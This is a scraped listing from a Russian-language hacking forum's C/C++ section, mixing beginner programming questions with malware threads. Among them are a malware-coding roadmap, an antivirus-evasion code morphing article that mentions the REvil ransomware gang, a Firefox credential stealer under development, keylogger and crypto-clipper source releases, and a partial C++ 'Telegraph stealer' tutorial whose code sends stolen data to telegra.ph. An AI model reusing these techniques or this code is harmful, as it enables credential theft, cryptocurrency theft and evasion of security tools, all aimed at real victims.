C/C++/C#/Rust/.NET/Java

Вопросы по С/С++
ID: 6765d804b4103b69df37567d
Thread ID: 24421
Created: 2013-07-17T18:51:21+0000
Last Post: 2024-12-04T14:50:57+0000
Author: Quake3
Replies: 746 Views: 229K

Вроде такой темы нет на форуме, начну.
Пробую переходить на Си, и постоянно случается какой-то фейл. Вроде бы должно быть проще, а на деле - все сложнее. Например, в каком файле объявлен прототип функции GetFileSizeEx ? Пробовал

Code:Copy to clipboard

#include <windows.h>
#include <Winbase.h>
#include <FileAPI.h>

Толку 0, пишет на все

undefined reference to `GetFileSizeEx'

Click to expand...

Я знаю, что можно вызвать через loadlibrary/getprocaddres, но это костыль, как сделать напрямую? Или в С это не объявлено, или у меня просто старый компилятор? Пробовал codeblocks(mingw) и visual studio 6.

p.s. в Масм, как не странно, все нормально.

Как правильно изучать malware-кодинг под Windows
ID: 6765d804b4103b69df375712
Thread ID: 39427
Created: 2020-07-08T19:00:07+0000
Last Post: 2024-04-17T13:44:09+0000
Author: Quake3
Prefix: Статья
Replies: 481 Views: 103K

Эта мини-статья является развернутым описанием моего старого поста https://xss.is/threads/34442/post-204920Ничего особо нового тут не будет, просто решил выделить отдельной темой и дооформить.

Итак, по каким-то причинам вы решили изучить , как же все таки пишут эту малварь под винду. Причины, по которым тема может заинтересовать человека, весьма разные, и не обязательно деструктивные - кто-то хочет стать ~~петухом~~ авером/вайтхетом, кому-то просто интересно, как оно устроено. В общем, причин много, и это все лирика. Конечно, в инете есть множество статей вида "пишем ботнет на петоне" и тому подобное школотворчество, и наверняка многие их читали - но толку с таких мануалов весьма немного. Их авторы (зачастую полные нубы) не дают никакого понимания базы, основ, а попросту пишут инструкцию из серии сделай говно на палке из говна и палки, зарабатывая плюсики. Конечно, кому-то и этого достаточно, а кому нет, то читайте дальше.
Основной тезис, который нужно усвоить: малварь - это обычная программа , выполняющая те или иные действия. Соответственно, вы должны просто научиться программировать под конкретную платформу. Поскольку большинство интересует именно Windows, то рассмотрим именно эту ОС (да и я ничего, кроме винды, и не знаю).

0х0
Итак, начнем. В школе сначала учатся читать и писать, а потом уже переходят к другим дисциплинам, в случае же нашей темы - вы должны уметь пользоваться Windows , на уровне уверенного пользователя / начинающего сисадмина. Понятно, что если вы читаете эту статью, значит какие-то навыки работы с компьютером у вас есть. Но соц.сети и ютуб это не то, что нужно. Вы должны уметь пользоваться командной строкой Windows (cmd.exe) , "путешествовать" по файловой системе, иметь базовые понятия о .bat файлах, переменной %PATH% (знать что это, уметь добавить/удалить туда значения). Нужно разобраться и настроить виртуальную машину, т.к. во-первых, подобный софт может убить основную ОС, а во-вторых , малварь придется проверять на разных выпусках и версиях винды. Конкретную литературу к этому пункту не могу посоветовать, т.к. у всех разный уровень знаний.

Теория:

Практика:

0х1
Далее, нужно определится с языком программирования, т.е. на чем все это дело будет создаваться. Если вкратце, то учить надо язык Си. Если подробнее - язык программирования должен быть нативным (т.е. никаких фреймворков и прочее) и компилируемым (не скрипты). На эту тему можно много холиварить, почему так , а почему не учить петон, а вот на шарпе... Я уже говорил много раз, как первый язык нужно то, где нет ничего лишнего вида неотключаемых библиотек, фреймворков, сборщиков мусора. Именно чистый код. Изучите это - можете потом писать на чем угодно, но начинать учиться нужно именно с такого языка.
Языков много, но в принципе, выбирать можно между Си и Паскалем. Почему не Ассемблер? С него очень тяжело начинать, я знаю это по своему опыту. Изучая Ассемблер в качестве первого языка , вы будете вынуждены учить и сам Асм, и основы программирования, и WinApi (поскольку в Асма нет никакой стандартной библиотеки). Т.е. чтобы вывести строку на экран или там записать в файл, вам надо будет параллельно изучить чудесный мир Windows API, с миллионом параметров и тысячей типов данных , да еще и ~~ксорить дворды~~ конвертировать это в Асм-код. В то время как Си или Паскаль на этом этапе позволят "схалявить" и использовать простые функции. Почему не С++ ? Потому что в нем нет никаких преимуществ перед чистым Си в контексте нужной нам задачи, а учить ООП и новые стандарты с 0 - нереально (и бессмысленно). Настоящие плюсы - это фабрики, шаблоны, итераторы, умные указатели , буст и т.д. и т.п, а не "Си с классами" образца 94 года , как видят С++ многие. Со временем, возможно, вы захотите перейти на плюсы, но не сейчас. Есть еще freebasic и прочая экзотика, но эти языки менее популярны, и в случае чего (нет инклуда, какая-то ошибка) не у кого будет спросить. Вначале обучения это очень важно, когда есть ошибка, которая не гуглится и спросить особо не у кого. Поэтому - либо Си, либо Паскаль. С чего бы не начали, правда, надо учесть, что знание Си (на уровне чтения сорцев) все равно будет нужно , т.к. все эти MSDN и книги содержат примеры именно на этом языке. В данной заметке я тоже буду ориентироваться на Си, поэтому изучайте Си. Касаемо паскаля - если у кого есть на примете хорошая книга для начинающих (и мысли на эту тему) , пишите здесь. Я могу вспомнить только Столярова https://xss.is/threads/28946/ , но и у него паскаль идет сугубо как подготовка к Си-кодингу.

Теория:

Практика:

0х2
Изучив базовые основы языка Си, можно двигаться дальше , а именно - приступить к изучению WinApi. Основная разработка в ОС Windows идет с помощью Win32 Api - это , так сказать, самый низкий (из документированных Майкрософтом) уровень для разработки под винду в юзермоде. Еще есть Native Api и даже прямой вызов сисколов, но пока этого всего не надо. Вам нужно усвоить базовую информацию по разработке под Windows - что такое поток, процесс, служба, как разрабатываются многопоточные приложения и т.д. Параллельно нужно совершенствовать знания языка Си, а именно - изучить базовые алгоритмы. С некоторыми из них вы должны были уже встречаться ранее. Знание алгоритмов нужно, чтобы быть именно нормальным программистом, а не "быдлокодером". Также некоторые системные структуры (да и просто чужие сорцы) могут использовать все эти хэш таблицы, двусвязные списки, и подобное. Конечно, в любом языке программирования давно существуют стандартные библиотечные средства для такого. Но - вам нужно понимать, как все это дело устроено на низком уровне, а уж потом юзать готовое. Вообще, в процессе обучения нужно делать свои "велосипеды", чем больше тем лучше.

Теория:

Практика:

0х3
Вы уже прошли основы WinApi, более-менее уверенного владеете языком Си, пришла пора полностью погрузится в программирование под Windows. Изучить различные системные механизмы, подробнее ознакомится с процессами, межпроцессным взаимодействием, созданием сервисов, устройством памяти винды, динамические библиотеки и прочая и прочая - в общем, изучить все кирпичики, из которых состоит разработка под Windows. Здесь можно учить все подряд, а можно выбирать только некоторые темы, скажем пропустить службы или там безопасность винды. Советую читать все подряд, т.к. лишних знаний не бывает.

Теория:

Практика:

0х4
В книге Рихтера из предыдущего этапа в конце обучения вы столкнулись с понятием инжекта в процесс, перехватом апи функций и подобными темами. Пришло время изучить это все дело подробнее. Нужно учиться изучать программы без исходных кодов, дебажить их, реверсить , понимать логику чужой программы и искать ошибки в своей в боевых условиях. Студийный отладчик помогал все это время в обучении. Но для чужих программ такой халявы не будет, т.к. у вас нет исходных кодов , а только Асм листинг. Чем дебажить? Можно взять как старую OllyDBG (только 32 бита), так и более новый x64dbg, и разбираться. Сначала трейсить пошагово свои же программы, параллельно читая справочник по Ассемблеру. Книжек по последнему есть великое множество, но не все оттуда нужно в данном случае - Асм достаточно понимать, а не писать на нем (тем более под dos, как учит 80% авторов). Знания Ассемблера пригодятся и дальше, для вызова сисколов, сокрытия/перехвата вызовов винапи, разработки шеллкодов и так далее.

Теория:

Практика:

0хFF
Вот таков примерный курс, изучив который вы сможете уверенно начать разрабатывать простую малварь. Почему простую? Потому что, увы, несмотря на большой объем инфы, многие вещи все равно еще остались за кадром. К примеру, РЕ формат , секьюрити винды, технология СОМ, драйвера (не обязательно учиться писать малварь под ядро, но понимать как там что устроено, весьма желательно), криптография, сеть, NTFS , графика винды (огромная тема, все эти GDI+, win32k.sys) и т.д. и т.п. Но это все дело поправимое, было бы желание учится. Имея базу, можно со всем постепенно разобраться.

Дальнейшее чтение:

Дальнейшая практика:

И постоянно учитесь, ведь знание это Сила и главный капитал!

Примечания.

  1. Статья отображает сугубо мое субъективное мнение и мой личный опыт, никого ни к чему не призывает, просто советует. Конструктивная критика ("сначала лучше изучить Х, а там сделать упор на Y перечитав Z") приветствуется. Неконструктивная ("это все бред, учите петон!") будет удаляться (но никто не запрещает создать свою тему и там расписать свой опыт от и до).
  2. Ссылки на материалы, ес-но могут устареть, умереть, переехать, поэтому ищите их по названию в гугле.
Книги по C & C++
ID: 6765d804b4103b69df375758
Thread ID: 4280
Created: 2005-07-16T09:19:26+0000
Last Post: 2023-12-30T18:10:58+0000
Author: Winux
Prefix: Мануал/Книга
Replies: 49 Views: 47K


Николай Секунов
Самоучитель Visual C++ .Net
736 стр. - 9,25Мб

:zns5: Скачать Самоучитель Visual C++ .Net

Вопросы по С#
ID: 6765d804b4103b69df37567e
Thread ID: 51334
Created: 2021-04-25T13:26:08+0000
Last Post: 2024-10-13T14:34:31+0000
Author: Ingiborga
Replies: 130 Views: 44K

Я вроде изучаю тихо C# и все понятно, но вот гуглил, смотрел видосы и все равно не понимаю что такое { get; set; } може кто то найдется кто расскажет мне понятным мне языком. Понял только что можно обьявить ими доступ в приват класы или не так понял?

Вкат в С, С+
ID: 6765d804b4103b69df375813
Thread ID: 70526
Created: 2022-07-23T05:55:56+0000
Last Post: 2023-03-15T08:04:04+0000
Author: Kumarin
Replies: 349 Views: 31K

Ребят, всем привет. Вкатываюсь в C+ по Столярову. Пока на паскале)) так что если вдруг есть такие же, как я, велком. Будем помогать друг другу, чуть что в этой теме. А если вдруг вы старожила, велком, поделитесь советами, если не жалко!

Курс по С++ с уклоном в тематику форума
ID: 6765d804b4103b69df375682
Thread ID: 124795
Created: 2024-10-14T13:58:47+0000
Last Post: 2024-12-19T06:41:42+0000
Author: Snow
Replies: 267 Views: 20K

Всем вечер добрый.
Судя по обилию тем с заголовками вида: "На чем написать вирус для взлома пентагона или жирного буржуйского банка ?" и "я начинающий мамкин хацкер, подскажите курс по плюсам, хочу свой шкафчик". Оно, конечно, понятно, все мы когда-то были слепыми котятами и искали того, кто сможет внятно объяснить простым языком сложные вещи. Однако, опять же, по моим наблюдениям, в 90% случаев эти люди на форуме больше не задают вопросов по выбранному языку. Причин может быть множество, но как мне кажется, большинство тупо забило, заблудившись среди миллионов курсов от мамкиных блохеров. Никого не хочу обидеть, ни в коем случае - я про блохеров.
Меня давно не покидает идея о создании собственного курса по плюсам - таки да, мне тоже не дает покоя слава мамкиных блохеров. А если серьезно, то вроде бы знания и опыт позволяют замахнуться на Вильяма нашего Шекспира.

Однако не хочется делать банальный курс, с описанием элементарных вещей, но душа требует размаха. Я предлагаю определиться с направлением, наиболее актуальным для С++ и начать разрабатывать проект, который будет полезен всем.
Проект будет сопровождаться серией статей, включающих как теорию, без которой никуда, так и практику, дабы совместить приятное с полезным.
поэтому я предлагаю всем желающим подключиться к обсуждению, а может и к участию в проекте, основной целью которого является передача опыта подрастающему поколению и пополнение рядов секты свидетелей С++. Ну и польза для форума, как мне кажется, очевидна.

рансомваре
ID: 6765d804b4103b69df3759e5
Thread ID: 34043
Created: 2019-12-25T16:23:12+0000
Last Post: 2021-01-22T18:00:26+0000
Author: Triada
Replies: 55 Views: 18K

напишу криптолокер и дропну сюда что получится

Изучение C++ с 0
ID: 6765d804b4103b69df375b78
Thread ID: 10139
Created: 2006-04-02T13:33:37+0000
Last Post: 2006-12-07T14:24:17+0000
Author: Fashion
Replies: 60 Views: 17K

Подскажите можно ли начать изучать СИ, если знание программирования вообще 0!

Viva la Морфер
ID: 6765d804b4103b69df37576b
Thread ID: 35265
Created: 2020-02-29T16:25:22+0000
Last Post: 2023-11-27T03:17:51+0000
Author: x3Rx
Replies: 51 Views: 16K

Привет бандиты!

Я почитал конкурсный топик и похоже просек рецепт идеальной статьи:
- Минимум теории, максимум практики
- Пиши про морфинг кода, это больная тема у всех
- Не выдавай рабочий софт, выдавай концепт

Оно и понятно. Сейчас у большинства серьезных ребят своя приватная малварь (есть доступ к сорцам) + как я понял крипт на уровне бинарников уже не торт.

Ну хуль, морфим значит морфим. Погнали.

Что морфим
- Числа
- Строки
- Функции

Числа
Начнем с простого - числа. Тут все просто, как дважды два. Есть глобальная мысль и есть 1001 метод.

Глобальная мысль: вычисляем нужное число, но так, чтобы наши операции не оптимизировал компилятор и чтобы вычислить можно было большим количеством способов.

Короче, идея супер простая - мы своим человеческим мозгом приходим к алгоритму, который даст нам фиксированное число. А из этого числа мы уже получим все остальные нужные нам числа.
Легко же получить 5, если у тебя уже есть в программе 3?
Конечно, 3 + 2 = 5, да?
А фиг там, оптимизация. И на месте твоего выражения уже сияет цифра 5, а твой софт на динчеке горит аки новогодняя елка.

Что делать? Придумать вычисления, которые компилятор не умеет оптимизировать. Например, с рандомом.

Метод 1:
Получаем число 3 или 9 из любого числа на входе.

Довольно забавная магия, следи за руками:

  1. Загадай любое число
  2. Возьми его и два следующих за ним числа и сложи (то есть если загадал число 21 - берешь 21 22 и 23 и складываешь - у меня получилось 66)
  3. Возьми эту сумму и сложи все цифры между собой (у меня 66, значит я складываю 6+6=12)
  4. Опять разбиваешь на цифры, опять складываешь и так повторяешь ~~пока не состаришься~~ пока не получишь число из одной цифры
  5. Ахалай-махалай, у тебя получилось 3 или 9!

Как это работает? Вспоминаем школу, признак деления на 3 и 9 - если сумма цифр делится, то и число делится. А также сумма любых трех подряд идущих чисел делится на 3 (ну или 9, если повезет).
Совмещаем эти два простых факта и получаем 3 или 9 из абсолютно любого числа на входе.

Как получить из 3 или 9 любое другое число думаю объяснять излишне.

Метод 2:
Играем с остатками.

Как вы уже поняли, суть в том, чтобы не дать компилятору вычислить результат до старта программы, потому что входные данные неизвестны. А понять логику и упростить он не может.

  1. x + x%y (остаток от деления) всегда делится на y
  2. если x делится на y, то x%y = 0
  3. если перебирать подряд числа и if'ом проверять делится ли без остатка на допустим 123, а потом поделить, то компилятор такое хрен оптимизирует, а мы на выходе всегда получим 0
  4. Остаток суммы всегда равен сумме остатков. То же самое с разностью и произведением.

Давай на пункте 4 остановимся поподробнее. Что это значит?
А это значит, что можно любое число представить вот так:

Code:Copy to clipboard

38 = x*((15 + 13 + 10)//x) + (12 + 16 + 10)%x
   = x*(15//x + 13//x + 10//x) + 12%x + 16%x + 10%x

где x - любое случайное число.
Круто, правда? Получаем в рантайме абсолютно левое число и серией неоптимизируемых операций всегда получаем нужное.

Кстати про левое число, пара методов:

  1. Дернуть рандом, очевидно
  2. Узнать время
  3. Узнать размер файла
  4. Просто указателем в рандомную ячейку памяти ткнуть
  5. Запросить содержимое сайта, взять ord() от какого-нибудь символа
  6. Взять длину левой строки

И так далее, бесконечное количество информации, которую мы можем взять и преобразовать в рантайме в нужную нам.

Да, детка, гений господствует над хаосом.

Строки
На строках я не буду так подробно останавливаться, потому что если поняли с числами - допрете и до строк.

Лайфхаки :

  1. Собрать список чисел (уже умеем), преобразовать с помощью char() в строку.
  2. Обратный хэш. Это когда мы от нужной строки заранее берем хэш, а потом в рантайме его брутим (чтобы найти ключ - нашу исходную строку). Тут мы убиваем двух зайцев - прячем строку и обходим эмуляцию.
  3. Составляем строку, используя известный нам символ и математику.
    Тут методика основана на том, что мы человеки знаем больше, чем бездушные машины. Например, все мы знаем с чего начинается любой html файл - это можно использовать.
  4. Не все знают, но в большинстве языков программирования можно воткнуть рандомную строку в качестве условия в if. Если строка не пустая - вернет True, иначе False. А тру и фолс можно преобразовать в строку и получить "True"/"False" - пердсказуемый стартовый кусок данных.

Я думаю со строками все понятно, поэтому перейдем к самому соку - функциям.

Функции
Ну блин, вы же не думали, что я просто по фану писал предыдущую статью про Функциональное программирование?

Суть вот в чем... Да фиг с ней с сутью, практика-практика!
Сразу покажу пример, а потом уже все объясню.

  1. У нас есть функция вида:

Code:Copy to clipboard

int max(int num1, int num2) {
   // local variable declaration
   int result;
 
   if (num1 > num2)
      result = num1;
   else
      result = num2;
 
   return result; 
}
  1. Переводим ее в лямбда функцию (поддерживается со стандарта C++11, а в более новых версиях вижуал студио еще проще - через auto)

Code:Copy to clipboard

function<int (int) (int)> max = [] (int num1, int num2) -> int {
    int result;

    if (num1 > num2)
        result = num2;
    else
        result = num1;
    
    return result;
}
  1. Фигачим каррирование (кто не знает - это когда мы функцию от нескольких аргументов сводим к цепочке функций от одного аргумента.)

Code:Copy to clipboard

function<function<int (int)> (int)> max =
    [] (int num1) -> function<int (int)> {
        return [num1] (int num2) -> int {
            int result;
            if (num1 > num2)
                result = num2;
            else
                result = num1;
            return result;
        }
}

Ну а теперь теория. Нафиг надо все это делать?
Это достаточно сложно понять и еще сложнее объяснить, но я попытаюсь.

В примере мы сделали вот что:

  1. Есть наша рабочая функция, допустим от 2 аргументов
  2. Мы превращаем ее в лямбда-функцию, а потом каррируем - получаем 2 новых функции, каждая с новой сигнатурой и новым набором аргументов, но результат работы тот же.

Идея для морфинга функций:

  1. Есть наша рабочая функция от 2 аргументов
  2. Добавляем в нее трэш-аргументы, получаем функцию от 30 аргументов
  3. Превращаем в лямбда функцию и каррируем как черти, но при этом на каждом уровне с трэш-аргументами добавляем еще и трэш-код.

Таким образом мы получаем бесконечное количество вариантов flow нашего софта (потому что мы движемся не сверху вниз по коду, как в императивном программировании, а по функциям-коллбэкам, как в ФП), и функционал при этом остается тот же. Более того, на каждом из этапов движения мы можем втыкать абсолютно любой код, который использует наши трэш-аргументы.

Я надеюсь никто не обиделся, что я расписал все на примере C++.
То же самое можно сделать и в шарпе, и в делфях, и практически в любом другом языке.

Я очень хотел приложить PoC рабочего морфера, а еще очень хотел написать про макросы и препроцессор, но как обычно отложил все на последний день, а до 1 марта остается всего несколько часов.

Короче, итоговые мысли :

  1. Морфить сорцы можно, причем делать это можно в автоматическом режиме, бесконечным числом вариантов.
  2. Для обфускации констант мы применяем метод "неизвестно что на входе - предсказуемый результат на выходе" и неупрощаемые математические операции.
  3. Для морфинга функции - мы переводим ее в лямбда-функцию, расширяем число аргументов и делаем трэш-каррирование, изменяя тем самым поток выплонения и сигнатуры функций.

Спасибо Администрации XSS и Unknown за конкурс - я на площадке недавно, но мне уже нравится.
Буду рад вопросам в комментариях.
Буду еще больше рад поработать с командой REvil :D

Разработка стилера, обсуждение.
ID: 6765d804b4103b69df3757dc
Thread ID: 38575
Created: 2020-06-18T14:24:12+0000
Last Post: 2023-06-02T17:36:55+0000
Author: Jeffs
Replies: 133 Views: 15K

В общем пишу стиллер для лисы, свою реализацию декрипта писать лень, поэтому решил юзать дллки от х32 лисы. Взял freebl3.dll, mozglue.dll, msvcp140.dll, nss3.dll, softokn3.dll, vcruntime140.dll, закинул в одну папку.
Пытаюсь загрузить nss3.dll:

C:Copy to clipboard

HMODULE hNss = LoadLibraryW(L"dlls\\nss3.dll");
if (!hNss)
{
    DWORD err = GetLastError();
    return false;
}

В GetLastError ловлю ошибку 126 (ERROR_MOD_NOT_FOUND). Собственно, что не так? Забыл ещё какие-то зависимости?

Для начинающих.
ID: 6765d804b4103b69df375b4a
Thread ID: 5089
Created: 2005-10-10T15:58:17+0000
Last Post: 2011-10-13T08:04:24+0000
Author: uZverg
Replies: 43 Views: 15K

Помогите разобраться новичку, с чего надо начинать изучение С++? И какое чтиво для этого нужно? И какой компилятор лучше использовать(желательно дать ссылку на компилятор).
Огромное спаибо.

Какой лучший обфускатор/протектор/виртуализатор ?
ID: 6765d804b4103b69df375ae9
Thread ID: 28910
Created: 2019-04-20T19:16:33+0000
Last Post: 2019-08-29T15:14:55+0000
Author: уруру
Replies: 34 Views: 14K

Исходя из сложности взлома и наличия или отсутствия деобфускаторов и анпакеров, возник вопрос: какая защита более надежна для

- С++
- С#

NT Insider
ID: 6765d804b4103b69df375b56
Thread ID: 20980
Created: 2011-01-15T17:22:17+0000
Last Post: 2011-01-16T10:54:18+0000
Author: ph0enix.re
Replies: 10 Views: 12K

Ребята из OSR решили продолжить выкладывать свой бумажный журнал в электронном виде.

January—February 2011 Digital Edition Volume 18 Issue 1

Содержание номера:

The Wonderful World of Software Drivers
Про типы софтварных драйверов

Bash Those Bugs! The WDK Community Bug Bash Rolls Along
Конкурс по поиску багов в WDK

Peter Pontificates: Pods of Fun
Какие-то предсказания =)

Getting Away From It All— The Isolation Driver (Part II)
Вторая часть статьи про модель драйвера-фильтра FS, блокирующего запросы

Let the Race Begin—Debugging Race Conditions
Отладка race conditions

Analyst’s Perspective: Analyzing User Mode State from a Kernel Connection
Анализ юзермода из ядра с помощью WinDBG

Go Blue!
Немного про usb 3.0 =)

:zns5: Скачать|Download

Старый номер - :zns5: Скачать|Download

Гайд: Отключаем CRT и Оптимизируем программу
ID: 6765d804b4103b69df37589c
Thread ID: 35932
Created: 2020-04-01T09:08:45+0000
Last Post: 2022-08-16T13:17:12+0000
Author: c0d3r_0f_shr0d13ng3r
Prefix: Статья
Replies: 62 Views: 11K

ИспользованиеCRT(C Runtime Library) раздувает выходной EXE файл и добавляет в таблицу импорта(далее IAT) "левые" функции.Сегодня мы "вырежем" CRT и сделаем EXE-шник весом в 1.5 кб у которого полностью будет отсутствовать IAT.

Для начала рассмотрим основные минусы отказа от CRT:

-Невозможность использования стандартных обработчиков ошибок(try / catch)
-Невозможность использования функций C.

Окей, все действия я буду проводить на VS 2019, однако их можно повторить практически на всех VS.

Шаг 1.Отключаем CRT:

Создадим пустой C++ проект и добавим в него файл исходного кода C/C++, пока что не будем его трогать.

Теперь идем в свойства проекта и выставляем следующее:

Компоновщик -> Ввод -> Игнорировать все стандартные библиотеки -> Да (/NODEFAULTLIB)
C/C++ -> Общие -> Проверки SDL -> Нет(/sdl-)
C/C++ -> Создание кода -> Отключить проверку безопасности -> Да(/GS-)
C/C++ -> Создание кода ->Включить C++ Исключения -> Нет
C/C++ -> Создание кода -> Основные проверки времени выполнения -> По умолчанию

Теперь нам необходимо задать кастомную точку входа.Для этого перейдем в Компоновщик -> Дополнительно -> Точка входа .Название точки входа может быть любым.Главное ее обозначить.У меня это будет Entry.
#include <Windows.h> VOID WINAPI Entry(VOID) { //... }

Также можно отключить создание манифеста.Это необязательный шаг, но он позволит сбросить целых 1.5 кб ?

Компоновщик -> Файл манифеста -> Создавать манифест -> **Нет(/MANIFEST:NO)

Шаг 2.Включаем оптимизацию(желательно делать на сборке Release):**

C/C++ -> Оптимизация -> Максимальная оптимизация (приоритет размера) (/O1)
C/C++ -> Оптимизация -> Предпочитать размер или скорость -> Предпочитать краткость кода (/Os)

Теперь скомпилируем наш проект(x86, Release).Результат:

Размер файла 1.5 кб:

1585730961898.png

DiE определяет нашу программу как написанную на MASM-е :

1585730996968.png

Таблицы импорта нету вообще:

1585731036985.png

Но и это еще не все!

Шаг 3.Кастомный DOS Stub:

В PE файле есть такой заголовок как Dos Stub.Он представляет из себя небольшую DOS программу, которая будет запущена, если кто-то попытается запустить нашу программу на MS-DOS.Мы заменим эту DOS программу на другую, более легкую.

1585731295819.png

Перейдем в Компоновщик -> Командная строка.И введем туда: /stub:custom_dos_stub.bin(предварительно положив custom_dos_stub.bin в папку с проектом)

Собственна все.Теперь DiE не определяет компилятор

1585732215335.png

Как правильно начать учиться?
ID: 6765d804b4103b69df375927
Thread ID: 34442
Created: 2020-01-18T18:01:55+0000
Last Post: 2021-12-22T10:47:53+0000
Author: A m a t e r a s u
Replies: 37 Views: 11K

Привет, я интересуюсь пентестом и писанием малвари. На данный момент изучаю скриптовый язык Python (также присматриваюсь к Golang, но не хочется бросать змейку на пол пути) по книги A byte of Python для маленького софта, вроде как легко даётся. В планах учить С/С++ для вирмейкинга. Хочу узнать как и где учить, может знаете какие-ниюбудь книги, сайты, курсы, хочу выдвигаться в обеих сферах. И желательно что-то актуальное, постоянно натыкаюсь на какой- нибудь хлам который попросту убивает моё время, а врменеи у меня не так уж и много. Также буду рад совету по типу: Сначала учи Си , потом плюсы (читал где- то подобную статью). Знаю таких глупых вопросов сотни, а то и тысячи, но в большинстве своём они устаревшие, либо не конкретные ответы. Надеюсь на вашу помощь.

Неплохой кейлогер
ID: 6765d804b4103b69df375b55
Thread ID: 16370
Created: 2008-11-27T14:40:24+0000
Last Post: 2011-01-21T05:35:57+0000
Author: ReXeL
Replies: 32 Views: 11K

Всем привет, вот выкладываю исходники кейлогера на с++Борланд
Плюсы:
его больше негде нет=)
не палиться в процессах
логи шлет на мыло
не палиться антивирями, фаерволлами вроде тоже
очень успешно варует пассы от lineage (обходит защиту)
шлет пассы от инета и MAC адресс

Минусы:
250кб (без урезания, архивирования)
необходима разная доработка (урезание лог например)
плохая реализация взятия MAC адресса (неправильная)

В дальнейшем собираюсь
набрать пару с++кодеров для доведения его до ума
написать к нему билдер
добавить функций
и вот думаю шифрование логов
и MAC адресса научим правильно брать=)
И после зделать ещё гейт

Компилируйте, отписывайтесь...
П.С. надеюсь кто-нибудь поможет по продолжению его написания...
П.С2 пожалуйста не палите контору=)

Если что думаю там сами разберетесь...=)
Если что спрашивайте

Clipper | C | Source Code
ID: 6765d804b4103b69df375a7f
Thread ID: 35396
Created: 2020-03-07T13:23:39+0000
Last Post: 2020-03-18T18:02:43+0000
Author: Jeffs
Replies: 33 Views: 11K

Выкладываю исходный код клиппера, писался давненько на чистом си. За говнокод не бейте :\
Кошельки указываются в файлике "common.h".
Все ненужные вам кошельки просто закомментите.

Как добавить подмену тех валлетов, которых нет сейчас:

  1. Дописываем дефайн с нашим кошельком в файле "common.h":
  2. Дописываем условие в файлике "main.cpp":

    Где:
    1 - символ, с которого начинается текст, который мы хотим заменить на свой (можно указать несколько через '|'/'&&')
    2 - длина этого текста (можно указать '>'/'<')
    3 - на что заменять (указываем имя того дефайна, что мы прописали в файлике "common.h")

В общем-то на этом всё.

Пароль:

You must have at least 20 reaction(s) to view the content.

Simple Telegraph Stealer, C++
ID: 6765d804b4103b69df375aa8
Thread ID: 33423
Created: 2019-11-24T19:58:30+0000
Last Post: 2020-01-08T07:33:51+0000
Author: h0peIess
Prefix: Статья
Replies: 27 Views: 11K

Предупреждение
**Автор не кодер, вообще в этом ничего не понимает, и вообще статья была написана исключительно в ознакомительных целях.
P.S. Сама идея была нагло украдена, но материал/код полностью авторский.
P.S.S СТАТЬЯ ДЛЯ КОНКУРСА.

Введение**​

**Хэй, сегодня поговорим, что такое стиллер и даже напишем демоверсию, панель будет написана во второй части (если наберем много лайков xD). Что такое стиллер?

Стиллер — определенный класс троянов (малвари, вирусов как хотите), функционал которых полностью состоит из кражи сохраненных в системе паролей, прочей информации и отправке их создателю. Стиллер, пользуясь наивностью ~~чукотских~~ программистов, исследует хранилища часто используемых программ и нагло тырит оттуда все логины, пароли и т.п. Следующий, он же последний этап работы программ данного класса отправка вкусняшек злоумышленнику. Вот как-то так всё это и работает. **

**1_4cTSGgP81xiJrs7gz83geQ.jpeg**​

Писать мы будем на C++ (~~ХАРДКОР~~), но с использованием сторонних библиотек (например, libcurl), для того чтобы упростить задачу, вы можете переписать данную malware, используя исключительно WinApi, чтобы избавиться от лишних зависимостей. У нас будут реализованы только самые основные функции:

В чем “фишка” нашего стиллера

Обычно стиллер отправляет полученную информацию на почту, но это не очень практично/удобно, наш же стиллер будет отправлять все данные на сервер, но он не будет оформлен на~~вашу мать~~ вас. Мы будем юзать Telegraph, сервис для постинга статей (в основном, используется в Telegram). Таким образом мы немного повышаем свою анонимность. Панель будет обращаться к сервису через Tor, Proxy и т.д. У Telegraph’a есть свой собственный API, что существенно упрощает нам задачу.

Untitled.png
Заголовочный файл с инклюдами

Здесь у нас подключаются все нужные нам библиотеки, пространства имен. Также здесь описываются следующие классы:

В первом классе указаны нужные нам значения, такие как:

Во втором же классе описаны методы, дающие нам пространство для маневром c кодировками (ASCII, Unicode)

C++:Copy to clipboard

#include <iostream>
#include <vector>
#include <fstream>
#include <string>
#include <zip.h>
#include <filesystem>
#include <Windows.h>
#include <curl/curl.h>
#include <json/json.h>
#include <gdiplus.h>
#include <intrin.h>
#include <comdef.h>
#include <libloaderapi.h>
#include <winsqlite/winsqlite3.h>
#include <ShlObj_core.h>
#include <Wbemidl.h>

#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "winsqlite3.lib")
#pragma comment(lib, "GdiPlus.lib")
#pragma comment(lib, "Crypt32.lib")

using namespace std;
using namespace Json;
using namespace filesystem;

#ifndef Config_HEADER
#define Config_HEADER
class Config
{
public:
    //Working Directory
    const string MainDirectory = "C:\\Users\\Public\\XSS_ONE_LOVE";

    //Bat Directory
    const string BatDirectory = "C:\\Users\\Public";

    //Folder Name
    const string FolderName = "XSS_ONE_LOVE";

    //Password for  archive
    const string ArchivePassword = "XSS_ONE_LOVE";

    //Telegraph Page
    const string TelegraphPage = "https://telegra.ph/XSS";

    //Telegraph Access Token
    const string AccessToken = "XSS_ONE_LOVE";
};
#endif

#ifndef Converters_HEADER
#define Converters_HEADER
class Converters
{
public:
    //String -> Wstring
    static wstring StringToWString(const string& str)
    {
        int size_needed{ MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0) };
        wstring wstrTo(size_needed, 0);
        MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
        return wstrTo;
    }

    //Wstring -> String
    static string WStringToString(const wstring& str)
    {
        const locale locale("");
        typedef codecvt<wchar_t, char, mbstate_t> converter_type;
        const converter_type& converter = use_facet<converter_type>(locale);
        vector<char> to(str.length() * (size_t)converter.max_length());
        mbstate_t state;
        const wchar_t* from_next;
        char* to_next;
        const converter_type::result result = converter.out(state, str.data(), str.data() + str.length(), from_next, &to[0], &to[0] + to.size(), to_next);
        return string(&to[0], to_next);
    }

    //WString -> Const Char*
    static const char* WStringToCSTR(const wstring& str)
    {
        string temp{ Converters::WStringToString(str) };
        return temp.c_str();
    }
};
#endif

maxresdefault.jpg
Заголовочный файл для работы с WEB

Здесь описан класс Web, он имеет следующие методы/переменные:

C++:Copy to clipboard

#include "Includes.h"

class Web
{
public:
    //EditPage
    string EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content);

    //GetPage
    string GetPage(const string& Path);

    //UploadFile
    string UploadFile(const string& Filename);

    //GetHTML
